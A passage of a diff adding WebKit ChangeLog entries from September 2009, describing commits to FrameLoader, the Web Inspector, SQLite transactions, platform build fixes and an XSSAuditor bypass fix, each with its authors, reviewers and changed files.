+        (WebCore::FrameLoader::checkTimerFired): Added. Replaces the old
+        timer fired callbacks. Calls checkCompleted and checkLoadComplete
+        as appropriate, but not when defersLoading is true.
+        (WebCore::FrameLoader::startCheckCompleteTimer): Added. Replaces
+        the two different calls to start timers before. Only starts the
+        timers if they are needed.
+        (WebCore::FrameLoader::scheduleCheckCompleted): Changed to call
+        startCheckCompleteTimer after setting boolean.
+        (WebCore::FrameLoader::scheduleCheckLoadComplete): Ditto.
+        (WebCore::FrameLoader::scheduleHistoryNavigation): Removed
+        canGoBackOrForward check. The logic works more naturally when
+        we don't do anything until the timer fires.
+        (WebCore::FrameLoader::redirectionTimerFired): Do nothing if
+        defersLoading is true. Also moved canGoBackOrForward check here.
+        (WebCore::FrameLoader::scheduleRedirection): Changed code that
+        calls startRedirectionTimer to do so unconditionally. That
+        function now handles the rules about when to start the timer
+        rather than expecting the caller to do so.
+        (WebCore::FrameLoader::startRedirectionTimer): Added code to
+        handle the case where there is no redirection scheduled,
+        where the timer is already active, or where this is a classic
+        redirection and there is an ancestor that has not yet completed
+        loading.
+        (WebCore::FrameLoader::completed): Call startRedirectionTimer
+        here directly instead of calling a cover named parentCompleted.
+        Hooray! One less function in the giant FrameLoader class!
+        (WebCore::FrameLoader::checkLoadComplete): Added code to set
+        m_shouldCallCheckLoadComplete to false.
+
+        * loader/FrameLoader.h: Replaced the two functions
+        checkCompletedTimerFired and checkLoadCompleteTimerFired with
+        one function, checkTimerFired. Removed the parentCompleted
+        function. Added the startCheckCompleteTimer and
+        allAncestorsAreComplete functions. Replaced the
+        m_checkCompletedTimer and m_checkLoadCompleteTimer data
+        members with m_checkTimer, m_shouldCallCheckCompleted, and
+        m_shouldCallCheckLoadComplete.
+
+        * manual-tests/go-back-after-alert.html: Added.
+        * manual-tests/resources/alert-and-go-back.html: Added.
+
+2009-09-23  David Kilzer  <ddkilzer@apple.com>
+
+        <http://webkit.org/b/29660> Move "Generate 64-bit Export File" build phase script into DerivedSources.make
+
+        Reviewed by Mark Rowe.
+
+        The "Generate 64-bit Export File" build phase script generated
+        the WebCore.LP64.exp export file used to link 64-bit WebCore.
+        Instead of having a separate build phase script, move its
+        generation into DerivedSources.make where WebCore.exp is
+        generated.
+
+        * DerivedSources.make: Added a rule to make WebCore.LP64.exp.
+        Added code to append WebCore.PluginHostProcess.exp to
+        $(WEBCORE_EXPORT_DEPENDENCIES) when WTF_USE_PLUGIN_HOST_PROCESS
+        is set to 1.
+        * WebCore.PluginHostProcess.exp: Renamed from WebCore/WebCore.LP64.exp.
+        * WebCore.xcodeproj/project.pbxproj: Removed the "Generate
+        64-bit Export File" build phase script. Renamed WebCore.LP64.exp
+        to WebCore.PluginHostProcess.exp.
+
+2009-09-23  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29694
+        [Chromium] Eliminate dependency on gfx::Rect from ImageSkia.
+
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::drawResampledBitmap):
+
+2009-09-22  Timothy Hatcher  <timothy@apple.com>
+
+        Prevent scrolling multiple elements during latched wheel events.
+
+        Reviewed by Anders Carlsson.
+
+        * page/EventHandler.cpp:
+        (WebCore::scrollAndAcceptEvent):
+        (WebCore::EventHandler::clear):
+        (WebCore::EventHandler::handleWheelEvent):
+        * page/EventHandler.h:
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::scroll):
+        * rendering/RenderBox.h:
+
+2009-09-23  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29523
+        
+        Fixes an issue where a JavaScript URL that was URL-encoded twice can bypass the
+        XSSAuditor.
+        
+        The method FrameLoader::executeIfJavaScriptURL decodes the URL escape 
+        sequences in a JavaScript URL before it is eventually passed to the XSSAuditor.
+        Because the XSSAuditor also decodes the URL escape sequences as part of its
+        canonicalization, the double decoding of a JavaScript URL would
+        not match the canonicalization of the input parameters.
+
+        Tests: http/tests/security/xssAuditor/iframe-javascript-url-url-encoded.html
+               http/tests/security/xssAuditor/javascript-link-url-encoded.html
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate): Moved call to 
+        XSSAuditor::canEvaluateJavaScriptURL into FrameLoader::executeIfJavaScriptURL.
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate): Ditto.
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::executeIfJavaScriptURL): Modified to call 
+        XSSAuditor::canEvaluateJavaScriptURL on the JavaScript URL before it is
+        decoded.
+
+2009-09-22  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by John Sullivan.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29657
+        Columns don't break properly in positioned elements with a fixed height.  Make sure that
+        a block is still considered to have columns even when the column count is 1 if the column
+        width is non-auto.
+    
+        Added fast/multicol/positioned-with-constrained-height.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::setDesiredColumnCountAndWidth):
+
+2009-09-23  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Rubber-stamped by Simon Hausmann.
+
+        Add a null check for the Document*. In the mirror benchmarking
+        application a crash from a call from JavaScript was observed.
+
+        I was not able to come up with a test case for this issue.
+
+        * platform/qt/CookieJarQt.cpp:
+        (WebCore::cookieJar):
+
+2009-09-23  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Fix the Qt/Windows build, after the introduction of
+        the page client.
+
+        * plugins/win/PluginViewWin.cpp:
+        (windowHandleForPageClient):
+        (WebCore::PluginView::getValue):
+        (WebCore::PluginView::forceRedraw):
+        (WebCore::PluginView::platformStart):
+
+2009-09-23  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] media tests failing after their rework
+        https://bugs.webkit.org/show_bug.cgi?id=29532
+
+        Correctly advertise the mime types used by the common formats used
+        in the tests.
+
+        Tests that regressed, and will pass again:
+
+           media/video-canvas-source.html
+           media/video-controls.html
+           media/video-currentTime-set2.html
+           media/video-dom-autoplay.html
+           media/video-dom-src.html
+           media/video-error-abort.html
+           media/video-load-networkState.html
+           media/video-load-readyState.html
+           media/video-muted.html
+           media/video-no-autoplay.html
+           media/video-pause-empty-events.html
+           media/video-play-empty-events.html
+           media/video-seekable.html
+           media/video-seeking.html
+           media/video-size.html
+           media/video-source-type-params.html
+           media/video-source-type.html
+           media/video-source.html
+           media/video-src-change.html
+           media/video-src-invalid-remove.html
+           media/video-src-remove.html
+           media/video-src-set.html
+           media/video-src-source.html
+           media/video-src.html
+           media/video-timeupdate-during-playback.html
+           media/video-volume.html
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mimeTypeCache):
+
+2009-09-22  Charles Wei  <charles.wei@torchmobile.com.cn>
+
+        Reviewed by Eric Seidel.
+
+        Fix the crash problem with absolte positioned children in foreignobject
+        htts://bugs.webkit.org/show_bug.cgi?id=26342
+
+        Test: svg/custom/foreignobject-crash-with-absolute-positioned-children.svg
+
+        * rendering/RenderForeignObject.h:
+        (WebCore::RenderForeignObject::isSVGForeignObject):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::containingBlock):
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isSVGForeignObject):
+
+2009-09-22  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        SharedWorkers "name" attribute is now optional.
+        https://bugs.webkit.org/show_bug.cgi?id=28897
+
+        Test: fast/workers/shared-worker-name.html
+
+        * bindings/js/JSSharedWorkerConstructor.cpp:
+        (WebCore::constructSharedWorker):
+        Default 'name' attribute to empty string if it is not provided.
+        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        Default 'name' attribute to empty string if it is not provided.
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerProxy::matches):
+        Now matches URLs if names are empty strings.
+        (WebCore::DefaultSharedWorkerRepository::getProxy):
+        Pass URL in to SharedWorkerProxy::matches().
+
+2009-09-22  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, another build fix.
+
+        [Chromium] Add another missing include.
+        https://bugs.webkit.org/show_bug.cgi?id=29536
+
+        * inspector/InspectorController.cpp: Added DOMWindow.h include.
+
+2009-09-22  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Add missing include.
+        https://bugs.webkit.org/show_bug.cgi?id=29536
+
+        * inspector/InspectorDOMStorageResource.cpp: Added DOMWindow.h include.
+
+2009-09-22  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Tighten up the ScheduledRedirection machinery to prepare for a bug fix
+        https://bugs.webkit.org/show_bug.cgi?id=29663
+
+        * loader/FrameLoader.cpp:
+        (WebCore::ScheduledRedirection::ScheduledRedirection): Added a boolean,
+        initialized to false, to keep track if the redirection has been
+        communicated to the client.
+        (WebCore::FrameLoader::stopLoading): Tweaked a comment.
+        (WebCore::FrameLoader::cancelRedirection): Removed code to clear
+        m_scheduledRedirection.clear since stopRedirectionTimer does that now.
+        (WebCore::FrameLoader::allChildrenAreComplete): Added.
+        (WebCore::FrameLoader::checkCompleted): Use allChildrenAreComplete
+        function for clarity.
+        (WebCore::FrameLoader::checkCallImplicitClose): Ditto.
+        (WebCore::FrameLoader::scheduleRedirection): Changed to take a PassOwnPtr.
+        (WebCore::FrameLoader::startRedirectionTimer): Added code to set the
+        toldClient flag and not call clientRedirected a second time if it is set.
+        (WebCore::FrameLoader::stopRedirectionTimer): Changed so this can be safely
+        called multiple times and it will call clientRedirectCancelledOrFinished
+        only once.
+
+        * loader/FrameLoader.h: Changed scheduleRedirection to be a PassOwnPtr.
+        Added allChildrenAreComplete function.
+
+2009-09-22  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Migrate Databases tab to InjectedScript /
+        serialized interaction.
+
+        DOMStorage interaction is now serialized into JSON messages
+        and doesn't require quarantined objects.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=28873
+
+        * dom/EventListener.h:
+        (WebCore::EventListener::):
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::selectDOMStorage):
+        (WebCore::InspectorBackend::getDOMStorageEntries):
+        (WebCore::InspectorBackend::setDOMStorageItem):
+        (WebCore::InspectorBackend::removeDOMStorageItem):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::selectDOMStorage):
+        (WebCore::InspectorController::getDOMStorageEntries):
+        (WebCore::InspectorController::setDOMStorageItem):
+        (WebCore::InspectorController::removeDOMStorageItem):
+        (WebCore::InspectorController::getDOMStorageResourceForId):
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::InspectorDOMStorageResource):
+        (WebCore::InspectorDOMStorageResource::bind):
+        (WebCore::InspectorDOMStorageResource::unbind):
+        (WebCore::InspectorDOMStorageResource::startReportingChangesToFrontend):
+        (WebCore::InspectorDOMStorageResource::handleEvent):
+        (WebCore::InspectorDOMStorageResource::operator==):
+        * inspector/InspectorDOMStorageResource.h:
+        (WebCore::InspectorDOMStorageResource::cast):
+        (WebCore::InspectorDOMStorageResource::id):
+        (WebCore::InspectorDOMStorageResource::domStorage):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::selectDOMStorage):
+        (WebCore::InspectorFrontend::didGetDOMStorageEntries):
+        (WebCore::InspectorFrontend::didSetDOMStorageItem):
+        (WebCore::InspectorFrontend::didRemoveDOMStorageItem):
+        (WebCore::InspectorFrontend::updateDOMStorage):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/DOMStorage.js:
+        (WebInspector.DOMStorage):
+        (WebInspector.DOMStorage.prototype.get id):
+        (WebInspector.DOMStorage.prototype.get domStorage):
+        (WebInspector.DOMStorage.prototype.get isLocalStorage):
+        (WebInspector.DOMStorage.prototype.getEntriesAsync):
+        (WebInspector.DOMStorage.prototype.setItemAsync):
+        (WebInspector.DOMStorage.prototype.removeItemAsync):
+        * inspector/front-end/DOMStorageDataGrid.js:
+        (WebInspector.DOMStorageDataGrid):
+        (WebInspector.DOMStorageDataGrid.prototype._startEditingColumnOfDataGridNode):
+        (WebInspector.DOMStorageDataGrid.prototype._startEditing):
+        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted):
+        (WebInspector.DOMStorageDataGrid.prototype._editingCancelled):
+        (WebInspector.DOMStorageDataGrid.prototype.deleteSelectedRow):
+        * inspector/front-end/DOMStorageItemsView.js:
+        (WebInspector.DOMStorageItemsView.prototype.update):
+        (WebInspector.DOMStorageItemsView.prototype._showDOMStorageEntries):
+        (WebInspector.DOMStorageItemsView.prototype._dataGridForDOMStorageEntries):
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel.prototype.show):
+        (WebInspector.StoragePanel.prototype.reset):
+        (WebInspector.StoragePanel.prototype.selectDOMStorage):
+        (WebInspector.StoragePanel.prototype.updateDOMStorage):
+        (WebInspector.StoragePanel.prototype._domStorageForId):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addDOMStorage):
+        (WebInspector.updateDOMStorage):
+
+2009-09-22  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fix for XMLHttpRequest.abort() should destroy the response text.
+        https://bugs.webkit.org/show_bug.cgi?id=29658
+        <rdar://problem/5301430>
+
+        Clearing the response text after calling XMLHttpRequest.abort() is necessary
+        per spec and matches Firefox. It is also a potential memory win.
+
+        Test: http/tests/xmlhttprequest/abort-should-destroy-responseText.html
+
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::abort): Clear the response text making sure to
+        keep the actual ResourceReponse around so that the response status and response
+        status text are kept around.
+
+2009-09-22  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        No review, rolling out r48639.
+        http://trac.webkit.org/changeset/48639
+
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::ObjectGrouperVisitor::visitDOMWrapper):
+
+2009-09-22  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Changing the transaction coordinator to (re-)allow multiple read
+        transactions on the same database to run concurrently (without
+        risking a deadlock this time).
+
+        https://bugs.webkit.org/show_bug.cgi?id=29115
+
+        Tests: storage/read-and-write-transactions-dont-run-together.html
+               storage/read-transactions-running-concurrently.html
+
+        * storage/SQLTransaction.h:
+        (WebCore::SQLTransaction::isReadOnly): Returns the type of the
+        transaction.
+        * storage/SQLTransactionCoordinator.cpp:
+        (WebCore::SQLTransactionCoordinator::acquireLock): Changed to
+        allow multiple read transactions on the same DB to run
+        concurrently.
+        (WebCore::SQLTransactionCoordinator::releaseLock): Changed to
+        allow multiple read transactions on the same DB to run
+        concurrently.
+        (WebCore::SQLTransactionCoordinator::shutdown): Renamed the map.
+        * storage/SQLTransactionCoordinator.h:
+
+2009-09-22  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29652
+        Support true system colors for CSS system colors in Chromium/Win.
+
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::cssValueIdToSysColorIndex):
+        (WebCore::RenderThemeChromiumWin::systemColor):
+        * rendering/RenderThemeChromiumWin.h:
+
+2009-09-22  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Fix for <rdar://problem/6925121> SAP: Wrong width calculation in 
+        table with fixed layout
+        -and corresponding-
+        https://bugs.webkit.org/show_bug.cgi?id=29501
+
+        New Tests:
+        * fast/table/fixed-table-with-percent-inside-percent-table.html: Added.
+        * fast/table/fixed-table-with-percent-width-inside-auto-table.html: Added.
+        * fast/table/fixed-table-with-percent-width-inside-div.html: Added.
+        * fast/table/fixed-table-with-percent-width-inside-extra-large-div.html: Added.
+        * fast/table/fixed-table-with-percent-width-inside-fixed-width-table.html: Added.
+        * fast/table/fixed-table-with-small-percent-width.html: Added.
+
+        This new quirk is very similar to an existing one that was 
+        implemented in revision 4316.
+        * rendering/FixedTableLayout.cpp:
+        (WebCore::FixedTableLayout::calcPrefWidths):
+
+2009-09-22  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        List HTTP status code with response headers in resources tab of Web Inspector.
+        http://webkit.org/b/19945
+
+        This patch adds a new top level list in the resources tab, HTTP Information, that 
+        for now, contains the Request Method (GET, POST, etc.) and the Status Code (200, 404, etc.).
+        Additionally, it adds a colored dot next to the requested URL to show the status 
+        (green for success, orange for redirect, red for error).
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ImageView.js:
+        (WebInspector.ImageView):
+        * inspector/front-end/Images/errorRedDot.png: Added.
+        * inspector/front-end/Images/successGreenDot.png: Added.
+        * inspector/front-end/Images/warningOrangeDot.png: Added.
+        * inspector/front-end/Resource.js:
+        (WebInspector.Resource.StatusTextForCode):
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView):
+        (WebInspector.ResourceView.prototype._refreshURL):
+        (WebInspector.ResourceView.prototype._refreshHTTPInformation):
+        * inspector/front-end/inspector.css:
+
+2009-09-22  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Back list isn't properly updated for fragment changes after a redirect.
+        <rdar://problem/6142803> and https://bugs.webkit.org/show_bug.cgi?id=20355
+
+        Test: fast/loader/fragment-after-redirect-gets-back-entry.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadURL): Properly reset the policy FrameLoadType before
+          consulting the policy delegate for fragment scrolling.
+
+2009-09-22  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Drop down selects get stuck in the non-visible state and cannot be opened.
+        https://bugs.webkit.org/show_bug.cgi?id=29645
+
+        All paths that lead to hiding the popup menu must call popupDidHide on
+        the PopupMenuClient.  This change makes it so by moving all of the
+        hiding logic to PopupListBox::hidePopup.
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupContainer::hidePopup):
+        (WebCore::PopupListBox::hidePopup):
+        * platform/chromium/PopupMenuChromium.h:
+
+2009-09-22  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector.log() function not protected if console not yet created
+        https://bugs.webkit.org/show_bug.cgi?id=29336
+        
+        No new tests.  Only affects Web Inspector developers adding logging
+        to their code during development.
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.log.isLogAvailable):
+        (WebInspector.log.flushQueue):
+        (WebInspector.log.flushQueueIfAvailable):
+        (WebInspector.log.logMessage):
+        (WebInspector.log):
+
+2009-09-22  Yaar Schnitman  <yaar@chromium.org>
+
+        Reviewed by David Levin.
+
+        Ported chromium.org's webcore.gyp for the webkit chromium port.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29617
+
+        * WebCore.gyp/WebCore.gyp: Added.
+
+2009-09-22  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        [v8] Don't keep clean wrappers artificially alive        
+        We currently keep all DOM node wrappers alive, even when there are
+        no more references to them from JS, in case they have properties
+        that we need to keep around if new JS references are created.
+        This changes the policy to only keep wrappers artificially alive
+        if they have changed since they were created. Empty wrappers are
+        discarded and recreated as needed.
+        https://bugs.webkit.org/show_bug.cgi?id=29330
+
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::ObjectGrouperVisitor::visitDOMWrapper):
+
+2009-09-22  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: console.count and console.timeEnd
+        crash when inspector is opened.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29632
+
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addMessageToConsole):
+
+2009-09-22  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed.
+
+        Fix bogus build fix I did last night.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+
+2009-09-22  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        NPAPI/Mac: Don't paint plugins if we don't have a CGContextRef
+
+        * plugins/mac/PluginViewMac.cpp:
+
+2009-09-22  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reivewed by Simon Hausmann.
+
+        Fix the Qt/Mac build after r48604 (Implement new QWebPageClient class)
+
+        There's no QWidget::x11Info() on Mac, and setPlatformPluginWidget()
+        takes a QWidget*, not a QWebPageClient*
+
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::platformStart):
+
+2009-09-21  Adam Barth  <abarth@webkit.org>
+
+        Attempted fix for the V8 build.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+
+2009-09-21  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Sam Weinig.
+
+        Don't re-enter JavaScript after performing access checks
+        https://bugs.webkit.org/show_bug.cgi?id=29531
+
+        Moved the access check slightly later in this functions to avoid
+        re-entering the JavaScript interpreter (typically via toString)
+        after performing the access check.
+
+        I can't really think of a meaningful test for this change.  It's more
+        security hygiene.
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::setLocation):
+        (WebCore::JSDOMWindow::open):
+        (WebCore::JSDOMWindow::showModalDialog):
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::JSLocation::setHref):
+        (WebCore::JSLocation::replace):
+        (WebCore::JSLocation::assign):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        (WebCore::if):
+        (CALLBACK_FUNC_DECL):
+        (V8Custom::WindowSetLocation):
+        (V8Custom::ClearTimeoutImpl):
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-09-21  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Make all write transaction start with a BEGIN IMMEDIATE command
+        instead of BEGIN.
+
+        We cannot test this change in a layout test, because in order to
+        test it we need to spawn two database threads and execute
+        transaction steps on these two threads in a very specific order,
+        which seems impossible to do when they share the same main thread
+        (as they would in a layout test). The SQLite docs and the case
+        described in the bug though should be enough proof that we do have
+        a problem here and that this patch will fix it.
+
+        Relevant SQLite documentation:
+        http://www.sqlite.org/lang_transaction.html
+        http://www.sqlite.org/lockingv3.html#locking
+
+        https://bugs.webkit.org/show_bug.cgi?id=29218
+
+        * platform/sql/SQLiteTransaction.cpp:
+        (WebCore::SQLiteTransaction::SQLiteTransaction): Added a readOnly
+        parameter.
+        (WebCore::SQLiteTransaction::begin): Changed to BEGIN IMMEDIATE
+        for write transactions.
+        * platform/sql/SQLiteTransaction.h:
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::openTransactionAndPreflight): Passing
+        the read-only flag to the SQLiteTransaction instance.
+
+2009-09-21  Brady Eidson  <beidson@apple.com>
+
+        Rubberstamped by Mark Rowe.
+
+        * DerivedSources.make: Fix the Xcode build on SnowLeopard.
+
+2009-09-15  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Prevent sleeps in unload handlers.
+        https://bugs.webkit.org/show_bug.cgi?id=29193
+
+        Test: fast/dom/Window/slow_unload_handler.html
+
+        * WebCore.gypi:
+        * bindings/v8/DateExtension.cpp: Added.
+        (WebCore::DateExtension::DateExtension):
+        (WebCore::DateExtension::get):
+        (WebCore::DateExtension::setAllowSleep):
+        (WebCore::DateExtension::GetNativeFunction):
+        (WebCore::DateExtension::weakCallback):
+        (WebCore::DateExtension::GiveEnableSleepDetectionFunction):
+        (WebCore::DateExtension::OnSleepDetected):
+        * bindings/v8/DateExtension.h: Added.
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::createNewContext):
+        (WebCore::V8Proxy::registerExtensionWithV8):
+        (WebCore::V8Proxy::registeredExtensionWithV8):
+        * bindings/v8/V8Proxy.h:
+
+2009-09-21  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Run-time exception in onmessage handler is not forwarded to the
+        worker object.
+        https://bugs.webkit.org/show_bug.cgi?id=28980
+
+        The previous fix was partially reverted due to a reliability build break
+        in chromium. The break happens when an exception is thrown without
+        setting a message. We need to check for this scenario and handle it.
+
+        Tested by worker-close.html.
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler):
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::reportException):
+
+2009-09-21  Greg Bolsinga  <bolsinga@apple.com>
+
+        Reviewed by Simon Fraser & Sam Weinig.
+
+        Add ENABLE(ORIENTATION_EVENTS)
+        https://bugs.webkit.org/show_bug.cgi?id=29508
+        
+        See documentation here:
+        http://developer.apple.com/safari/library/documentation/AppleApplications/Reference/SafariWebContent/HandlingEvents/HandlingEvents.html#//apple_ref/doc/uid/TP40006511-SW16
+
+        * DerivedSources.make: Use new WebCore.OrientationEvents.exp file if ENABLE_ORIENTATION_EVENTS.
+        Add ENABLE_ORIENTATION_EVENTS to the new ADDITIONAL_IDL_DEFINES variable that is passed to the IDL
+        code generator. This is because ENABLE_ORIENTATION_EVENTS is not in FEATURE_DEFINES.
+        * WebCore.OrientationEvents.exp: Added.
+        * WebCore.xcodeproj/project.pbxproj: Add WebCore.OrientationEvents.exp.
+        * dom/EventNames.h: Add onorientationchange.
+        * html/HTMLAttributeNames.in: Ditto.
+        * html/HTMLBodyElement.cpp: Handle onorientationchange properly.
+        (WebCore::HTMLBodyElement::parseMappedAttribute):
+        (WebCore::HTMLBodyElement::onorientationchange):
+        (WebCore::HTMLBodyElement::setOnorientationchange):
+        * html/HTMLBodyElement.h: Ditto.
+        * html/HTMLBodyElement.idl: Ditto.
+        * html/HTMLFrameSetElement.cpp: Ditto.
+        (WebCore::HTMLFrameSetElement::parseMappedAttribute):
+        (WebCore::HTMLFrameSetElement::onorientationchange):
+        (WebCore::HTMLFrameSetElement::setOnorientationchange):
+        * html/HTMLFrameSetElement.h: Ditto.
+        * html/HTMLFrameSetElement.idl: Ditto.
+        * page/DOMWindow.cpp: Ditto.
+        (WebCore::DOMWindow::orientation): Calls up the to the Frame for the orientation value.
+        (WebCore::DOMWindow::onorientationchange):
+        (WebCore::DOMWindow::setOnorientationchange):
+        * page/DOMWindow.h: Handle onorientationchange properly.
+        * page/DOMWindow.idl: Ditto.
+        * page/Frame.cpp: Ditto.
+        (WebCore::Frame::Frame):
+        (WebCore::Frame::sendOrientationChangeEvent):
+        * page/Frame.h: Ditto.
+        (WebCore::Frame::orientation):
+
+2009-09-18  Anders Carlsson  <andersca@apple.com>
+
+        Try fixing the build again.
+        
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::wndProc):
+
+2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: completions are always evaluated against
+        window (discarding call frames).
+
+        https://bugs.webkit.org/show_bug.cgi?id=29616
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.completions):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getCompletions):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.selectedCallFrameId):
+
+2009-09-21  Brent Fulgham  <bfulgham@webkit.org>
+
+        Unreviewed build fix for Windows (Cairo) target.
+
+        Add stubs for SocketStream classes added in @r47788, which
+        broke the WinCairo build.
+
+        No new tests. (Build failure).
+
+        * WebCore.vcproj/WebCore.vcproj:  Add references to new files
+          to Cairo build, exclude from standard Apple build.
+        * platform/network/curl/SocketStreamError.h: Added.
+        * platform/network/curl/SocketStreamHandle.h: Added.
+        * platform/network/curl/SocketStreamHandleCurl.cpp: Added.
+
+2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Expose InspectorResource fields.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29537
+
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::sourceString):
+        (WebCore::InspectorResource::resourceData):
+        * inspector/InspectorResource.h:
+        (WebCore::InspectorResource::requestHeaderFields):
+        (WebCore::InspectorResource::responseHeaderFields):
+        (WebCore::InspectorResource::responseStatusCode):
+        (WebCore::InspectorResource::requestMethod):
+        (WebCore::InspectorResource::requestFormData):
+
+2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: JS error drilling down childless node.
+        No need to dispatch double click twice - it is already handled
+        in TreeElement.treeElementDoubleClicked.
+
+        https://bugs.webkit.org/show_bug.cgi?id=22144
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline):
+
+2009-09-21  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Implement new QWebPageClient class and let our classes
+        QWebViewPrivate and QWebGraphicsItemPrivate inherit from it.
